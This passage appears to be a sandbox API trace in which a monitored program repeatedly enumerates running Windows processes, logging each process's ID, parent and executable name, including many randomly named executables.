hSnapshot=0x13e0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0114.858] Process32NextW (in: hSnapshot=0x13e0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0114.859] Process32NextW (in: hSnapshot=0x13e0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0114.860] Process32NextW (in: hSnapshot=0x13e0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0114.861] Process32NextW (in: hSnapshot=0x13e0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0114.861] Process32NextW (in: hSnapshot=0x13e0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0114.862] Process32NextW (in: hSnapshot=0x13e0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0114.863] Process32NextW (in: hSnapshot=0x13e0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0114.864] Process32NextW (in: hSnapshot=0x13e0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0114.865] Process32NextW (in: hSnapshot=0x13e0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0114.866] Process32NextW (in: hSnapshot=0x13e0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.866] Process32NextW (in: hSnapshot=0x13e0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.867] Process32NextW (in: hSnapshot=0x13e0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.868] Process32NextW (in: hSnapshot=0x13e0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.869] Process32NextW (in: hSnapshot=0x13e0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.870] Process32NextW (in: hSnapshot=0x13e0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0114.871] Process32NextW (in: hSnapshot=0x13e0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.872] Process32NextW (in: hSnapshot=0x13e0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.873] Process32NextW (in: hSnapshot=0x13e0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0114.873] Process32NextW (in: hSnapshot=0x13e0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.874] Process32NextW (in: hSnapshot=0x13e0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0114.875] Process32NextW (in: hSnapshot=0x13e0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0114.876] Process32NextW (in: hSnapshot=0x13e0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0114.877] Process32NextW (in: hSnapshot=0x13e0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0114.877] Process32NextW (in: hSnapshot=0x13e0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0114.878] Process32NextW (in: hSnapshot=0x13e0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0114.879] Process32NextW (in: hSnapshot=0x13e0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0114.880] Process32NextW (in: hSnapshot=0x13e0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0114.881] Process32NextW (in: hSnapshot=0x13e0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0114.881] Process32NextW (in: hSnapshot=0x13e0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0114.882] Process32NextW (in: hSnapshot=0x13e0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0114.883] Process32NextW (in: hSnapshot=0x13e0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0114.884] Process32NextW (in: hSnapshot=0x13e0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0114.885] Process32NextW (in: hSnapshot=0x13e0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0114.885] Process32NextW (in: hSnapshot=0x13e0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0114.886] Process32NextW (in: hSnapshot=0x13e0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0114.887] Process32NextW (in: hSnapshot=0x13e0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0114.888] Process32NextW (in: hSnapshot=0x13e0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0114.889] Process32NextW (in: hSnapshot=0x13e0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0114.890] Process32NextW (in: hSnapshot=0x13e0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0114.891] Process32NextW (in: hSnapshot=0x13e0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0114.891] Process32NextW (in: hSnapshot=0x13e0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0114.892] Process32NextW (in: hSnapshot=0x13e0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0114.893] Process32NextW (in: hSnapshot=0x13e0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0114.894] Process32NextW (in: hSnapshot=0x13e0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0114.895] Process32NextW (in: hSnapshot=0x13e0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0114.895] Process32NextW (in: hSnapshot=0x13e0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0114.896] Process32NextW (in: hSnapshot=0x13e0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0114.897] Process32NextW (in: hSnapshot=0x13e0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.898] Process32NextW (in: hSnapshot=0x13e0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0114.899] Process32NextW (in: hSnapshot=0x13e0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.899] Process32NextW (in: hSnapshot=0x13e0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0114.900] Process32NextW (in: hSnapshot=0x13e0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0114.901] Process32NextW (in: hSnapshot=0x13e0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0114.964] Process32NextW (in: hSnapshot=0x13e0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0114.965] Process32NextW (in: hSnapshot=0x13e0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0114.966] Process32NextW (in: hSnapshot=0x13e0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.967] Process32NextW (in: hSnapshot=0x13e0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0114.968] CloseHandle (hObject=0x13e0) returned 1 [0114.968] CreateToolhelp32Snapshot (dwFlags=0x4, th32ProcessID=0x0) returned 0x13e0 [0114.969] Thread32First (hSnapshot=0x13e0, lpte=0x4f1f308) returned 1 [0116.251] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x13d8 [0116.253] Process32FirstW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0116.254] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0116.255] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0116.256] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0116.256] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0116.257] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0116.258] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0116.259] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0116.259] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0116.260] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0116.261] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.262] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.263] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.263] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.264] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.265] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0116.266] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.266] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.267] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0116.268] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.269] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0116.270] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0116.271] Process32NextW (in: 